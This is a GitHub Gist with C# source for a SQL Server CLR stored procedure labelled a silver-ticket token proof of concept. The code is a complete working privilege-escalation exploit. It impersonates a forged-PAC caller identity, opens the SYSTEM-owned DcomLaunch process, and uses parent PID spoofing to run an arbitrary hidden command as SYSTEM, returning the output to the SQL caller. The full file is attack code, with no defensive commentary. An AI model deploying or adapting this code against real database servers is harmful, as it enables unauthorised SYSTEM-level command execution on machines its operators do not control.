Skip to content

Instantly share code, notes, and snippets.

@xct
Last active March 23, 2026 10:28
Show Gist options
  • Select an option

  • Save xct/8e0051caa54993c21757c72e0597e86c to your computer and use it in GitHub Desktop.

Select an option

Save xct/8e0051caa54993c21757c72e0597e86c to your computer and use it in GitHub Desktop.
SilverTokenPoC
using System;
using System.Data.SqlTypes;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.SqlServer.Server;
public class SilverTokenPoC
{
// Token APIs
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(IntPtr h, uint access, bool self, out IntPtr tok);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool DuplicateTokenEx(IntPtr h, uint access, IntPtr sa, int il, int type, out IntPtr tok);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetTokenInformation(IntPtr h, int cls, IntPtr buf, int len, out int needed);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool LookupPrivilegeName(string sys, ref long luid, StringBuilder name, ref int len);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool ConvertSidToStringSid(IntPtr sid, out IntPtr str);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenProcessToken(IntPtr h, uint access, out IntPtr tok);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool RevertToSelf();
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
// Service APIs (for querying DcomLaunch PID)
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern IntPtr OpenSCManager(string machine, string db, uint access);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern IntPtr OpenService(IntPtr hSCManager, string name, uint access);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool QueryServiceStatusEx(IntPtr hService, int infoLevel, IntPtr buf, int bufSize, out int needed);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool CloseServiceHandle(IntPtr h);
// Process APIs
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(uint access, bool inherit, uint pid);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool InitializeProcThreadAttributeList(IntPtr list, int count, int flags, ref IntPtr size);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool UpdateProcThreadAttribute(IntPtr list, uint flags, IntPtr attr, IntPtr val, IntPtr size, IntPtr prev, IntPtr retSize);
[DllImport("kernel32.dll")]
static extern void DeleteProcThreadAttributeList(IntPtr list);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern bool CreateProcessW(string app, string cmd, IntPtr procAttr, IntPtr threadAttr, bool inherit, uint flags, IntPtr env, string dir, ref STARTUPINFOEX si, out PROCESS_INFORMATION pi);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr h, uint ms);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr h);
[DllImport("kernel32.dll")]
static extern IntPtr LocalFree(IntPtr h);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcessHeap();
[DllImport("kernel32.dll")]
static extern IntPtr HeapAlloc(IntPtr heap, uint flags, IntPtr size);
[DllImport("kernel32.dll")]
static extern bool HeapFree(IntPtr heap, uint flags, IntPtr mem);
const uint TOKEN_ALL_ACCESS = 0xF01FF;
const uint TOKEN_QUERY = 0x0008;
const int SecurityImpersonation = 2;
const int TokenPrimary = 1;
const uint SC_MANAGER_CONNECT = 0x0001;
const uint SERVICE_QUERY_STATUS = 0x0004;
const int SC_STATUS_PROCESS_INFO = 0;
const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
const uint CREATE_NO_WINDOW = 0x08000000;
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const uint HEAP_ZERO_MEMORY = 0x00000008;
const int STARTF_USESHOWWINDOW = 0x00000001;
const short SW_HIDE = 0;
static readonly IntPtr PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = (IntPtr)0x00020000;
[StructLayout(LayoutKind.Sequential)]
struct SERVICE_STATUS_PROCESS
{
public uint dwServiceType, dwCurrentState, dwControlsAccepted;
public uint dwWin32ExitCode, dwServiceSpecificExitCode;
public uint dwCheckPoint, dwWaitHint, dwProcessId, dwServiceFlags;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFOEX
{
public int cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public int dwX, dwY, dwXSize, dwYSize;
public int dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
public short wShowWindow, cbReserved2;
public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess, hThread;
public int dwProcessId, dwThreadId;
}
[SqlProcedure]
public static void silver_token_exec(SqlString process, SqlString arguments)
{
StringBuilder r = new StringBuilder();
try
{
string proc = process.IsNull ? "cmd.exe" : process.Value;
string args = arguments.IsNull ? "" : arguments.Value;
r.AppendLine("[*] Silver Ticket CLR Token PoC");
r.AppendLine();
IntPtr pt;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out pt))
{
r.AppendLine("[*] Process token privileges:");
EnumPrivileges(pt, r);
CloseHandle(pt);
}
r.AppendLine();
WindowsIdentity id = SqlContext.WindowsIdentity;
if (id == null)
{
r.AppendLine("[-] SqlContext.WindowsIdentity is null");
Send(r.ToString()); return;
}
r.AppendLine("[+] SqlContext identity: " + id.Name);
r.AppendLine();
r.AppendLine("[*] Caller token privileges:");
EnumPrivileges(id.Token, r);
r.AppendLine();
r.AppendLine("[*] Caller token groups:");
if (!EnumGroups(id.Token, r))
{
r.AppendLine("[-] No admin groups — need S-1-5-32-544 or -512 in PAC");
Send(r.ToString()); return;
}
r.AppendLine();
r.AppendLine("[+] Admin group membership confirmed");
// Step 1: Brief managed impersonation to get a duplicated primary token
r.AppendLine("[*] Impersonating caller identity...");
WindowsImpersonationContext ctx = id.Impersonate();
IntPtr tt;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tt))
{
ctx.Undo();
r.AppendLine("[!] OpenThreadToken failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
IntPtr silverToken;
if (!DuplicateTokenEx(tt, TOKEN_ALL_ACCESS, IntPtr.Zero,
SecurityImpersonation, TokenPrimary, out silverToken))
{
CloseHandle(tt); ctx.Undo();
r.AppendLine("[!] DuplicateTokenEx failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
CloseHandle(tt);
ctx.Undo(); // Revert managed impersonation immediately
r.AppendLine("[+] Primary token obtained from forged PAC identity");
// Step 2: Native impersonation to open a SYSTEM process handle
r.AppendLine("[*] Getting DcomLaunch process handle...");
if (!ImpersonateLoggedOnUser(silverToken))
{
CloseHandle(silverToken);
r.AppendLine("[!] ImpersonateLoggedOnUser failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
// Query DcomLaunch PID via SCM
IntPtr hSCM = OpenSCManager(null, null, SC_MANAGER_CONNECT);
if (hSCM == IntPtr.Zero)
{
RevertToSelf(); CloseHandle(silverToken);
r.AppendLine("[!] OpenSCManager failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
IntPtr hSvc = OpenService(hSCM, "DcomLaunch", SERVICE_QUERY_STATUS);
if (hSvc == IntPtr.Zero)
{
CloseServiceHandle(hSCM); RevertToSelf(); CloseHandle(silverToken);
r.AppendLine("[!] OpenService(DcomLaunch) failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
int needed;
int svcBufSize = Marshal.SizeOf(typeof(SERVICE_STATUS_PROCESS));
IntPtr svcBuf = Marshal.AllocHGlobal(svcBufSize);
if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, svcBuf, svcBufSize, out needed))
{
Marshal.FreeHGlobal(svcBuf);
CloseServiceHandle(hSvc); CloseServiceHandle(hSCM);
RevertToSelf(); CloseHandle(silverToken);
r.AppendLine("[!] QueryServiceStatusEx failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
SERVICE_STATUS_PROCESS svcInfo = (SERVICE_STATUS_PROCESS)Marshal.PtrToStructure(
svcBuf, typeof(SERVICE_STATUS_PROCESS));
Marshal.FreeHGlobal(svcBuf);
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
r.AppendLine("[+] DcomLaunch PID: " + svcInfo.dwProcessId);
// Open handle to DcomLaunch (SeDebugPrivilege bypasses access checks)
IntPtr parentHandle = OpenProcess(PROCESS_ALL_ACCESS, false, svcInfo.dwProcessId);
if (parentHandle == IntPtr.Zero)
{
RevertToSelf(); CloseHandle(silverToken);
r.AppendLine("[!] OpenProcess failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
r.AppendLine("[+] Got handle to DcomLaunch");
RevertToSelf();
// Step 3: Parent PID spoofing — child inherits DcomLaunch's SYSTEM token
string tmpFile = "C:\\Windows\\Temp\\" + Guid.NewGuid().ToString() + ".tmp";
string cmdLine = string.Format("C:\\Windows\\System32\\cmd.exe /c {0} {1} > \"{2}\" 2>&1",
proc, args, tmpFile);
r.AppendLine("[*] Command: " + proc + " " + args);
// Initialize proc thread attribute list
IntPtr listSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref listSize);
IntPtr procList = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, listSize);
if (procList == IntPtr.Zero)
{
CloseHandle(parentHandle); CloseHandle(silverToken);
r.AppendLine("[!] HeapAlloc failed");
Send(r.ToString()); return;
}
if (!InitializeProcThreadAttributeList(procList, 1, 0, ref listSize))
{
HeapFree(GetProcessHeap(), 0, procList);
CloseHandle(parentHandle); CloseHandle(silverToken);
r.AppendLine("[!] InitializeProcThreadAttributeList failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
IntPtr parentVal = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(parentVal, parentHandle);
if (!UpdateProcThreadAttribute(procList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
parentVal, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
{
Marshal.FreeHGlobal(parentVal);
DeleteProcThreadAttributeList(procList);
HeapFree(GetProcessHeap(), 0, procList);
CloseHandle(parentHandle); CloseHandle(silverToken);
r.AppendLine("[!] UpdateProcThreadAttribute failed: " + Marshal.GetLastWin32Error());
Send(r.ToString()); return;
}
STARTUPINFOEX si = new STARTUPINFOEX();
si.cb = Marshal.SizeOf(typeof(STARTUPINFOEX));
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.lpAttributeList = procList;
PROCESS_INFORMATION pi;
if (!CreateProcessW(null, cmdLine, IntPtr.Zero, IntPtr.Zero, false,
CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
IntPtr.Zero, null, ref si, out pi))
{
int err = Marshal.GetLastWin32Error();
Marshal.FreeHGlobal(parentVal);
DeleteProcThreadAttributeList(procList);
HeapFree(GetProcessHeap(), 0, procList);
CloseHandle(parentHandle); CloseHandle(silverToken);
r.AppendLine("[!] CreateProcess failed: " + err);
Send(r.ToString()); return;
}
r.AppendLine("[+] Spawned process PID " + pi.dwProcessId + " as child of DcomLaunch (SYSTEM)");
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Marshal.FreeHGlobal(parentVal);
DeleteProcThreadAttributeList(procList);
HeapFree(GetProcessHeap(), 0, procList);
CloseHandle(parentHandle);
// Re-impersonate to read output (file owned by SYSTEM)
ImpersonateLoggedOnUser(silverToken);
if (System.IO.File.Exists(tmpFile))
{
r.AppendLine();
r.AppendLine(System.IO.File.ReadAllText(tmpFile));
try { System.IO.File.Delete(tmpFile); } catch {}
}
else
{
r.AppendLine("[!] Output file not found: " + tmpFile);
}
RevertToSelf();
CloseHandle(silverToken);
}
catch (Exception ex)
{
r.AppendLine("[!] " + ex.Message);
}
Send(r.ToString());
}
static void EnumPrivileges(IntPtr tok, StringBuilder r)
{
int n; GetTokenInformation(tok, 3, IntPtr.Zero, 0, out n);
if (n <= 0) return;
IntPtr buf = Marshal.AllocHGlobal(n);
try {
if (!GetTokenInformation(tok, 3, buf, n, out n)) return;
uint c = (uint)Marshal.ReadInt32(buf, 0);
int off = 4;
for (uint i = 0; i < c; i++) {
long luid = Marshal.ReadInt64(buf, off);
uint a = (uint)Marshal.ReadInt32(buf, off + 8); off += 12;
StringBuilder sb = new StringBuilder(256); int nl = 256; long l = luid;
string s = LookupPrivilegeName(null, ref l, sb, ref nl) ? sb.ToString() : "LUID:" + luid;
r.AppendLine(" " + s + " (" + ((a & 2) != 0 ? "Enabled" : "Disabled") + ")");
}
} finally { Marshal.FreeHGlobal(buf); }
}
static bool EnumGroups(IntPtr tok, StringBuilder r)
{
int n; GetTokenInformation(tok, 2, IntPtr.Zero, 0, out n);
if (n <= 0) return false;
IntPtr buf = Marshal.AllocHGlobal(n);
bool found = false;
try {
if (!GetTokenInformation(tok, 2, buf, n, out n)) return false;
uint c = (uint)Marshal.ReadInt32(buf, 0);
int sz = IntPtr.Size + 4;
if (sz % IntPtr.Size != 0) sz += IntPtr.Size - (sz % IntPtr.Size);
int off = IntPtr.Size;
for (uint i = 0; i < c; i++) {
IntPtr sid = Marshal.ReadIntPtr(buf, off);
uint a = (uint)Marshal.ReadInt32(buf, off + IntPtr.Size); off += sz;
IntPtr ss; if (!ConvertSidToStringSid(sid, out ss)) continue;
string s = Marshal.PtrToStringUni(ss); LocalFree(ss);
bool adm = s == "S-1-5-32-544" || s.EndsWith("-512");
r.AppendLine(" " + s + " (" + ((a & 4) != 0 ? "Enabled" : "Disabled") + ")" + (adm ? " ***" : ""));
if (adm && (a & 4) != 0) found = true;
}
} finally { Marshal.FreeHGlobal(buf); }
return found;
}
static void Send(string text)
{
SqlDataRecord rec = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(rec);
for (int i = 0; i < text.Length; i += 4000) {
rec.SetString(0, text.Substring(i, Math.Min(4000, text.Length - i)));
SqlContext.Pipe.SendResultsRow(rec);
}
SqlContext.Pipe.SendResultsEnd();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment